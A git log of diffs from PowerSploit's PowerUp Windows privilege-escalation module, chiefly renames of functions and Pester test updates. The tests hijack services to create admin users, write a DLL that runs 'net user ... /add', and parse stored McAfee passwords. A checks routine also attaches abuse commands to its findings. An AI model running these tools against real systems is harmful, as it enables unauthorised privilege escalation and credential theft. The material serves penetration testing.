Should Match "Not found" + {Install-ServiceBinary -ServiceName "NonExistentService456"} | Should Throw + + if( ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' should not have been created for non-existent service." + } } It 'Should accept custom user/password arguments.' { - $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' - $Output.Command | Should Match "net" + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match 'net' - $Null = Invoke-ServiceStart -ServiceName PowerUpService + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match "PowerUp")) { + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } $Null = $(net user PowerUp /delete >$Null 2>&1) @@ -485,12 +800,45 @@ Describe 'Install-ServiceBinary' { "$(Get-Location)\powerup.exe.bak" | Should Not Exist } - It 'Should accept a custom command.' { + It 'Should accept a credential object.' { + $Username = 'PowerUp123' + $Password = ConvertTo-SecureString 'PASSword123!' -AsPlaintext -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $Password - $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add" - $Output.Command | Should Match "net" + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Credential $Credential + $Output.Command | Should Match 'net' - $Null = Invoke-ServiceStart -ServiceName PowerUpService + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match 'PowerUp123')) { + Throw "Local user 'PowerUp123' not created." + } + $Null = $(net user PowerUp123 /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept an alternate LocalGroup.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Guests) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept a custom command.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 if( -not ($(net user) -match "testing")) { Throw "Custom command failed." @@ -509,11 +857,19 @@ Describe 'Install-ServiceBinary' { # ######################################################## -Describe 'Find-DLLHijack' { +Describe 'Find-ProcessDLLHijack' { It 'Should return results.' { - $Output = Find-DLLHijack + $Output = Find-ProcessDLLHijack $Output | Should Not BeNullOrEmpty } + + It 'Should accept a Process name on the pipeline.' { + {'powershell' | Find-ProcessDLLHijack} | Should Not Throw + } + + It 'Should accept a service object on the pipeline.' { + {Get-Process powershell | Find-ProcessDLLHijack} | Should Not Throw + } } @@ -525,16 +881,29 @@ Describe 'Find-PathHijack' { It 'Should find a hijackable %PATH% folder.' { - New-Item -Path C:\PowerUpTest\ -ItemType directory -Force + New-Item -Path 'C:\PowerUpTest\' -ItemType directory -Force try { $OldPath = $Env:PATH $Env:PATH += ';C:\PowerUpTest\' - $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"} + $Output = Find-PathHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 $Env:PATH = $OldPath - $Output.HijackablePath | Should Be 'C:\PowerUpTest\' + + $Output.Path | Should Be 'C:\PowerUpTest\' + + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Find-PathHijack result doesn't contain 'Path' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathHijack result doesn't contain 'Permissions' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathHijack result doesn't contain 'IdentityReference' field." + } } catch { $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue @@ -542,13 +911,13 @@ Describe 'Find-PathHijack' { } } -# won't actually execute on Win8+ with the wlbsctrl.dll method -Describe 'Write-HijackDll' { +Describe 'Write-HijackDll' { + # won't actually execute on Win8+ with the wlbsctrl.dll method + # TODO: write tests to properly cover parameter validation It 'Should write a .dll that executes a custom command.' { - try { - Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add" + Write-HijackDll -DllPath "$(Get-Location)\powerup.dll" -Command 'net user testing Password123! /add' "$(Get-Location)\powerup.dll" | Should Exist "$(Get-Location)\debug.bat" | Should Exist @@ -567,45 +936,68 @@ Describe 'Write-HijackDll' { # ######################################################## -Describe 'Get-RegAlwaysInstallElevated' { +Describe 'Get-RegistryAlwaysInstallElevated' { + # TODO: set registry key, ensure it retrieves It 'Should not throw.' { - {Get-ServicePermission} | Should Not Throw + {Get-RegistryAlwaysInstallElevated} | Should Not Throw } } -Describe 'Get-RegAutoLogon' { +Describe 'Get-RegistryAutoLogon' { + # TODO: set a vulnerable autorun credential, ensure it retrieves It 'Should not throw.' { - {Get-ServicePermission} | Should Not Throw + {Get-RegistryAutoLogon} | Should Not Throw } } -Describe 'Get-VulnAutoRun' { +Describe 'Get-RegistryAutoRun' { if(-not $(Test-IsAdmin)) { - Throw "'Get-VulnAutoRun' Pester test needs local administrator privileges." + Throw "'Get-RegistryAutoRun' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-VulnAutoRun} | Should Not Throw + {Get-RegistryAutoRun} | Should Not Throw } + It 'Should find a vulnerable autorun.' { try { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"} + $Output = Get-RegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 + + $Output.ModifiableFile.Path | Should Be $FilePath + + if ($Output.PSObject.Properties.Name -notcontains 'Key') { + Throw "Get-RegistryAutoRun result doesn't contain 'Key' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-RegistryAutoRun result doesn't contain 'Path' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiableFile') { + Throw "Get-RegistryAutoRun result doesn't contain 'ModifiableFile' field." + } + + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Path' field." + } + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." + } + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." + } $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp - - $Output.ModifiableFile | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue } - } + } } @@ -615,28 +1007,47 @@ Describe 'Get-VulnAutoRun' { # ######################################################## -Describe 'Get-VulnSchTask' { +Describe 'Get-ModifiableScheduledTaskFile' { if(-not $(Test-IsAdmin)) { - Throw "'Get-VulnSchTask' Pester test needs local administrator privileges." + Throw "'Get-ModifiableScheduledTaskFile' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-VulnSchTask} | Should Not Throw + {Get-ModifiableScheduledTaskFile} | Should Not Throw } It 'Should find a vulnerable config file for a binary specified in a schtask.' { - try { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f - $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'} + $Output = Get-ModifiableScheduledTaskFile | Where-Object {$_.TaskName -eq 'PowerUp'} | Select-Object -First 1 $Null = schtasks.exe /delete /tn PowerUp /f - - $Output.TaskFilePath | Should Be $FilePath + + $Output.TaskFilePath.Path | Should Be $FilePath + + if ($Output.PSObject.Properties.Name -notcontains 'TaskName') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskName' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'TaskFilePath') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskFilePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'TaskTrigger') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskTrigger' field." + } + + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Path' field." + } + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Permissions' field." + } + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'IdentityReference' field." + } } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -683,23 +1094,6 @@ Describe 'Get-ApplicationHost' { } } - -Describe 'Invoke-AllChecks' { - It 'Should return results to stdout.' { - $Output = Invoke-AllChecks - $Output | Should Not BeNullOrEmpty - } - It 'Should produce a HTML report with -HTMLReport.' { - $Output = Invoke-AllChecks -HTMLReport - $Output | Should Not BeNullOrEmpty - - $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" - - $HtmlReportFile | Should Exist - $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue - } -} - Describe 'Get-SiteListPassword' { BeforeEach { $Xml = 'Products/CommonUpdater0jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==Repository$0companydomainMcAfeeServicePassword123!Repository$0companydomainMcAfeeServicejWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' @@ -709,7 +1103,7 @@ Describe 'Get-SiteListPassword' { Remove-Item -Force "${Home}\SiteList.xml" } - It 'Should correctly parse a SiteList.xml found in a searched path.' { + It 'Should correctly find and parse a SiteList.xml file.' { $Credentials = Get-SiteListPassword @@ -724,7 +1118,6 @@ Describe 'Get-SiteListPassword' { $_.DomainName | Should BeNullOrEmpty } - $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { # UNC site with unencrypted password $_.Enabled | Should Be '1' @@ -748,9 +1141,9 @@ Describe 'Get-SiteListPassword' { } } - It 'Should correctly parse a SiteList.xml on a searched path.' { + It 'Should correctly parse a SiteList.xml on a specified path.' { - $Credentials = Get-SiteListPassword -SiteListFilePath "${Home}\SiteList.xml" + $Credentials = Get-SiteListPassword -Path "${Home}\SiteList.xml" $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object { # HTTP site @@ -762,7 +1155,6 @@ Describe 'Get-SiteListPassword' { $_.UserName | Should BeNullOrEmpty $_.DomainName | Should BeNullOrEmpty } - $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { # UNC site with unencrypted password @@ -789,6 +1181,23 @@ Describe 'Get-SiteListPassword' { } +Describe 'Invoke-AllChecks' { + It 'Should return results to stdout.' { + $Output = Invoke-AllChecks + $Output | Should Not BeNullOrEmpty + } + It 'Should produce a HTML report with -HTMLReport.' { + $Output = Invoke-AllChecks -HTMLReport + $Output | Should Not BeNullOrEmpty + + $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + + $HtmlReportFile | Should Exist + $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue + } +} + + Describe 'Get-System' { if(-not $(Test-IsAdmin)) { -- cgit v1.2.3 From 491594529205b66937c718b38cb4e7909935e6ec Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 19:07:28 -0400 Subject: Renamed Get-RegistryAutoRun to Get-ModifiableRegistryAutoRun Renamed Find-PathHijack to Find-PathDLLHijack Fixed exposed functions in PowerSploit.psd1 --- PowerSploit.psd1 | 23 +++++++++++++++-------- Privesc/PowerUp.ps1 | 15 +++++++-------- Privesc/Privesc.psd1 | 4 ++-- Privesc/README.md | 6 +++--- Tests/Privesc.tests.ps1 | 32 ++++++++++++++++---------------- 5 files changed, 43 insertions(+), 37 deletions(-) (limited to 'Tests/Privesc.tests.ps1') diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 492b846..065ea68 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -25,27 +25,29 @@ FunctionsToExport = @( 'Add-NetUser', 'Add-ObjectAcl', 'Add-Persistence', + 'Add-ServiceDacl', 'Convert-NameToSid', 'Convert-NT4toCanonical', 'Convert-SidToName', 'Copy-ClonedFile', 'Find-AVSignature', 'Find-ComputerField', - 'Find-DLLHijack', 'Find-ForeignGroup', 'Find-ForeignUser', 'Find-GPOComputerAdmin', 'Find-GPOLocation', 'Find-InterestingFile', 'Find-LocalAdminAccess', + 'Find-PathDLLHijack', + 'Find-ProcessDLLHijack', 'Find-ManagedSecurityGroups', - 'Find-PathHijack', 'Find-UserField', 'Get-ADObject', 'Get-ApplicationHost', 'Get-CachedRDPConnection', 'Get-ComputerDetails', 'Get-ComputerProperty', + 'Get-CurrentUserTokenGroupSid', 'Get-DFSshare', 'Get-DomainPolicy', 'Get-ExploitableSystem', @@ -53,6 +55,11 @@ FunctionsToExport = @( 'Get-HttpStatus', 'Get-Keystrokes', 'Get-LastLoggedOn', + 'Get-ModifiablePath', + 'Get-ModifiableRegistryAutoRun', + 'Get-ModifiableScheduledTaskFile', + 'Get-ModifiableService', + 'Get-ModifiableServiceFile', 'Get-NetComputer', 'Get-NetDomain', 'Get-NetDomainController', @@ -79,21 +86,19 @@ FunctionsToExport = @( 'Get-ObjectAcl', 'Get-PathAcl', 'Get-Proxy', - 'Get-RegAlwaysInstallElevated', - 'Get-RegAutoLogon', + 'Get-RegistryAlwaysInstallElevated', + 'Get-RegistryAutoLogon', 'Get-SecurityPackages', 'Get-ServiceDetail', - 'Get-ServiceFilePermission', - 'Get-ServicePermission', 'Get-ServiceUnquoted', + 'Get-SiteListPassword', + 'Get-System', 'Get-TimedScreenshot', 'Get-UnattendedInstallFile', 'Get-UserEvent', 'Get-UserProperty', 'Get-VaultCredential', 'Get-VolumeShadowCopy', - 'Get-VulnAutoRun', - 'Get-VulnSchTask', 'Get-Webconfig', 'Install-ServiceBinary', 'Install-SSP', @@ -133,6 +138,8 @@ FunctionsToExport = @( 'Set-CriticalProcess', 'Set-MacAttribute', 'Set-MasterBootRecord', + 'Set-ServiceBinPath', + 'Test-ServiceDaclPermission', 'Write-HijackDll', 'Write-ServiceBinary', 'Write-UserAddMSI' diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 6e473d6..4071f6a 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -2361,7 +2361,7 @@ function Find-ProcessDLLHijack { } -function Find-PathHijack { +function Find-PathDLLHijack { <# .SYNOPSIS @@ -2379,7 +2379,7 @@ function Find-PathHijack { .EXAMPLE - PS C:\> Find-PathHijack + PS C:\> Find-PathDLLHijack Finds all %PATH% .DLL hijacking opportunities. @@ -2720,8 +2720,7 @@ function Get-RegistryAutoLogon { } } - -function Get-RegistryAutoRun { +function Get-ModifiableRegistryAutoRun { <# .SYNOPSIS @@ -2736,7 +2735,7 @@ function Get-RegistryAutoRun { .EXAMPLE - PS C:\> Get-RegistryAutoRun + PS C:\> Get-ModifiableRegistryAutoRun Return vulneable autorun binaries (or associated configs). #> @@ -3571,7 +3570,7 @@ function Invoke-AllChecks { # DLL hijacking "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." - $Results = Find-PathHijack + $Results = Find-PathDLLHijack $Results | Foreach-Object { $AbuseString = "Write-HijackDll -DllPath '$($_.Path)\wlbsctrl.dll'" $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString @@ -3604,8 +3603,8 @@ function Invoke-AllChecks { } - "`n`n[*] Checking for registry autoruns and configs..." - $Results = Get-RegistryAutoRun + "`n`n[*] Checking for modifidable registry autoruns and configs..." + $Results = Get-ModifiableRegistryAutoRun $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

Registry Autoruns

" | Out-File -Append $HtmlReportFile diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index e4222bf..97b7652 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -24,17 +24,17 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( 'Add-ServiceDacl', - 'Find-PathHijack', + 'Find-PathDLLHijack', 'Find-ProcessDLLHijack', 'Get-ApplicationHost', 'Get-CurrentUserTokenGroupSid', 'Get-ModifiablePath', + 'Get-ModifiableRegistryAutoRun', 'Get-ModifiableScheduledTaskFile', 'Get-ModifiableService', 'Get-ModifiableServiceFile', 'Get-RegistryAlwaysInstallElevated', 'Get-RegistryAutoLogon', - 'Get-RegistryAutoRun', 'Get-ServiceDetail', 'Get-ServiceUnquoted', 'Get-SiteListPassword', diff --git a/Privesc/README.md b/Privesc/README.md index 8e4b75d..7f57768 100644 --- a/Privesc/README.md +++ b/Privesc/README.md @@ -41,13 +41,13 @@ Optional Dependencies: None ### DLL Hijacking: Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes - Find-PathHijack - finds service %PATH% .dll hijacking opportunities - Write-HijackDll - writes out a hijackable .dll + Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities + Write-HijackDll - writes out a hijackable DLL ### Registry Checks: Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set Get-RegistryAutoLogon - checks for Autologon credentials in the registry - Get-RegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns + Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns ### Miscellaneous Checks: Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 3641ece..62aad67 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -873,10 +873,10 @@ Describe 'Find-ProcessDLLHijack' { } -Describe 'Find-PathHijack' { +Describe 'Find-PathDLLHijack' { if(-not $(Test-IsAdmin)) { - Throw "'Find-PathHijack' Pester test needs local administrator privileges." + Throw "'Find-PathDLLHijack' Pester test needs local administrator privileges." } It 'Should find a hijackable %PATH% folder.' { @@ -887,22 +887,22 @@ Describe 'Find-PathHijack' { $OldPath = $Env:PATH $Env:PATH += ';C:\PowerUpTest\' - $Output = Find-PathHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 + $Output = Find-PathDLLHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 $Env:PATH = $OldPath $Output.Path | Should Be 'C:\PowerUpTest\' if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Find-PathHijack result doesn't contain 'Path' field." + Throw "Find-PathDLLHijack result doesn't contain 'Path' field." } if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { - Throw "Find-PathHijack result doesn't contain 'Permissions' field." + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." } if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { - Throw "Find-PathHijack result doesn't contain 'IdentityReference' field." + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." } } catch { @@ -952,14 +952,14 @@ Describe 'Get-RegistryAutoLogon' { } -Describe 'Get-RegistryAutoRun' { +Describe 'Get-ModifiableRegistryAutoRun' { if(-not $(Test-IsAdmin)) { - Throw "'Get-RegistryAutoRun' Pester test needs local administrator privileges." + Throw "'Get-ModifiableRegistryAutoRun' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-RegistryAutoRun} | Should Not Throw + {Get-ModifiableRegistryAutoRun} | Should Not Throw } It 'Should find a vulnerable autorun.' { @@ -968,28 +968,28 @@ Describe 'Get-RegistryAutoRun' { $Null | Out-File -FilePath $FilePath -Force $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-RegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 + $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 $Output.ModifiableFile.Path | Should Be $FilePath if ($Output.PSObject.Properties.Name -notcontains 'Key') { - Throw "Get-RegistryAutoRun result doesn't contain 'Key' field." + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Key' field." } if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-RegistryAutoRun result doesn't contain 'Path' field." + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Path' field." } if ($Output.PSObject.Properties.Name -notcontains 'ModifiableFile') { - Throw "Get-RegistryAutoRun result doesn't contain 'ModifiableFile' field." + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'ModifiableFile' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Path' field." + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Path' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { - Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'IdentityReference') { - Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." } $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -- cgit v1.2.3 From e83cfae7981d970ca138566d2d5214cbd573494e Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 22:06:21 -0400 Subject: Get-ModifiablePath now also checks parent folders of files for modification Bug fixes Corrected PowerUp Pester tests Changed 'Path' field to 'ModifiablePath' in 'Get-ModifiablePath' Get-ServiceUnquoted now filters paths through Get-ModifiablePath --- Privesc/PowerUp.ps1 | 130 +++++++++++++++++++++++++++--------- Tests/Privesc.tests.ps1 | 173 ++++++++++++++++++++++++++---------------------- 2 files changed, 193 insertions(+), 110 deletions(-) (limited to 'Tests/Privesc.tests.ps1') diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 4071f6a..447ce61 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -763,6 +763,10 @@ function Get-ModifiablePath { The string path to parse for modifiable files. Required + .PARAMETER LiteralPaths + + Switch. Treat all paths as literal (i.e. don't do 'tokenization'). + .EXAMPLE PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath @@ -788,7 +792,10 @@ function Get-ModifiablePath { [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] [Alias('FullName')] [String[]] - $Path + $Path, + + [Switch] + $LiteralPaths ) BEGIN { @@ -835,9 +842,52 @@ function Get-ModifiablePath { # possible separator character combinations $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") - ForEach($SeparationCharacterSet in $SeparationCharacterSets) { - $CandidatePaths += $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { - Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + if($PSBoundParameters['LiteralPaths']) { + + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath)) + + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = Split-Path $TempPath -Parent + if($ParentPath -and (Test-Path -Path $ParentPath)) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + catch { + # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } + } + } + else { + ForEach($SeparationCharacterSet in $SeparationCharacterSets) { + $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + if(($SeparationCharacterSet -notmatch ' ')) { + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)) + + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = Split-Path $TempPath -Parent + if($ParentPath -and (Test-Path -Path $ParentPath )) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + catch { + # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } + } + } + else { + $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } } } @@ -850,7 +900,7 @@ function Get-ModifiablePath { $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] } # the set of permission types that allow for modification - $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile') -IncludeEqual -ExcludeDifferent + $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent if($Comparison) { if ($_.IdentityReference -notmatch '^S-1-5.*') { @@ -867,7 +917,7 @@ function Get-ModifiablePath { if($CurrentUserSids -contains $IdentitySID) { New-Object -TypeName PSObject -Property @{ - Path = $CandidatePath + ModifiablePath = $CandidatePath IdentityReference = $_.IdentityReference Permissions = $Permissions } @@ -924,7 +974,7 @@ function Get-CurrentUserTokenGroupSid { [UInt32]$RealSize = 0 - # query the current process token with the 'TokenGroups=' constant to retrieve a TOKEN_GROUPS structure + # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure $Success2 = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success2) { @@ -1389,24 +1439,29 @@ function Get-ServiceUnquoted { $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} if ($VulnServices) { - ForEach ($Service in $VulnServices){ + ForEach ($Service in $VulnServices) { - $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name + $ModifiableFiles = $Service.pathname | Get-ModifiablePath - if($ServiceRestart) { - $CanRestart = $True - } - else { - $CanRestart = $False - } + $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $Service.name - $Out | Add-Member Noteproperty 'Path' $Service.pathname - $Out | Add-Member Noteproperty 'StartName' $Service.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath " - $Out | Add-Member Noteproperty 'CanRestart' $CanRestart - $Out + if($ServiceRestart) { + $CanRestart = $True + } + else { + $CanRestart = $False + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $Service.name + $Out | Add-Member Noteproperty 'Path' $Service.pathname + $Out | Add-Member Noteproperty 'ModifiablePath' $_ + $Out | Add-Member Noteproperty 'StartName' $Service.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath " + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out + } } } } @@ -1453,7 +1508,7 @@ function Get-ModifiableServiceFile { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath - $Out | Add-Member Noteproperty 'ModifiableFile' $_.Path + 